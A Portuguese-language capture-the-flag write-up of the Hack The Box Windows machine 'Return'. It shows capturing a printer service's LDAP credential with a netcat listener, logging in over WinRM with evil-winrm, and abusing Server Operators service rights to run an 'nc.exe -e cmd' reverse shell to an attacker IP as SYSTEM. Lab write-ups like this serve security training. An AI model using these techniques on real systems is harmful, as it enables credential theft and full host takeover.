Máquina Windows fácil onde abusamos a fraca autenticação de um serviço de impressora conseguindo a credencial de um usuário com permissão para obter acesso ao alvo usando o serviço WinRM. Por fim, exploramos o grupo Server Operators e conseguimos executar um payload malicioso, obtendo uma reverse shell como nt authority/system.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.
attacker> ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=176 ms
--- 10.10.11.108 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 176.077/176.077/176.077/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.
attacker> rustscan -a 10.10.11.108 -r 1-65535 --ulimit 5000 -- -sCV -n -Pn -oX nmap.xml
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-10-22 22:50:42Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49214/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49682/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49694/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-10-22T22:51:40
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 42913/tcp): CLEAN (Couldn't connect)
| Check 2 (port 31931/tcp): CLEAN (Couldn't connect)
| Check 3 (port 26260/udp): CLEAN (Failed to receive data)
| Check 4 (port 45553/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 18m45s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".
attacker> whatweb 10.10.11.108 -v | tee whatweb.txt
WhatWeb report for http://10.10.11.108
Status : 200 OK
Title : HTB Printer Admin Panel
IP : 10.10.11.108
Country : RESERVED, ZZ
Summary : HTML5, HTTPServer[Microsoft-IIS/10.0], Microsoft-IIS[10.0], PHP[7.4.13], Script, X-Powered-By[PHP/7.4.13]
...
HTTP Headers:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.13
Date: Sat, 22 Oct 2022 23:03:04 GMT
Connection: close
Content-Length: 28274
Após acessar o painel de administração de impressora, na guia Settings havia uma autenticação no servidor printer.return.local, porta 389 (ldap), com o nome de usuário svc-printer e sem a exibição da senha.
Printer Abuse
Pensando em formas de abusar dessa autenticação, podemos alterar o "Server Address" para o IP da nossa máquina atacante e tentar receber essa autenticação.
Então, basta nos colocar em escuta com netcat na porta 389 para recebermos esta autenticação e clicar em "Update" no servidor web. A autenticação é fraca e, portanto, conseguimos capturar uma credencial.
attacker> nc -nlvp 389
Listening on 0.0.0.0 389
Connection received on 10.10.11.108 51940
0*`%return\svc-printer�
1edFg43012!!
Podemos usar a ferramenta crackmapexec para validar a credencial. Como nos é retornado [+], significa que a credencial é válida.
Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado (Pwn3d!), o que significa que este usuário faz parte do grupo Remote Management Users, podendo acessar o host remotamente utilizando o serviço WinRM.
Assim, podemos usar a ferramenta evil-winrm para obter esse acesso remoto ao alvo.
attacker> evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
Uma vez logado, naveguei até o Desktop do usuário svc-printer e encontrei a flag user.txt.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
c75ebbf58af22862bec54ef89e3ef6ba
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
A próxima etapa foi procurar maneiras de escalar nossos privilégios para Administrator. Com whoami /groups eu identifiquei que o usuário svc-printer fazia parte do grupo Server Operators. Este grupo tem permissões para iniciar e parar serviços no sistema. Portanto, eu pude usar essa informação para escalar meus privilégios.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
Escalation via Server Operators Group
Para iniciar esse processo, precisamos transferir um executável do netcat para o alvo. Ele servirá para nos enviar uma reverse shell como Administrator quando abusarmos do grupo Server Operators.
*Evil-WinRM* PS C:\Windows\Temp> upload nc.exe
Info: Uploading nc.exe to C:\Windows\Temp\nc.exe
Data: 37544 bytes of 37544 bytes copied
Info: Upload successful!
Após isso, podemos listar os serviços presentes no alvo.
Usando o executável sc.exe, podemos configurar um serviço para atribuir a ele um comando que nós definirmos. Neste caso será um comando malicioso para enviar uma reverse shell para nossa máquina atacante usando o netcat que transferimos para o alvo.
Depois de testar os serviços um por um, vemos que o serviço VMTools pode ser configurado, assim, podemos definir o comando malicioso nele.
Agora podemos iniciá-lo novamente, isso fará com que ele execute o comando malicioso que configuramos. Antes disso, temos que nos colocar em escuta na máquina de atacante com netcat, para depois iniciar o serviço VMTools do alvo com o parâmetro start.
Dessa forma, uma vez reiniciado, o serviço VMTools executará o comando C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443 e nos enviará uma reverse shell privilegiada.
attacker> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.49] from (UNKNOWN) [10.10.11.108] 63706
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
Então basta ler a flag root.txt no Desktop do Administrator para concluir o objetivo do CTF.
Directory of C:\Users\Administrator\Desktop
09/27/2021 04:22 AM <DIR> .
09/27/2021 04:22 AM <DIR> ..
10/22/2022 03:40 PM 34 root.txt
1 File(s) 34 bytes
2 Dir(s) 8,825,159,680 bytes free
type root.txt
type root.txt
c380efd2b68deff3cc07ff9780b0ba9d
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.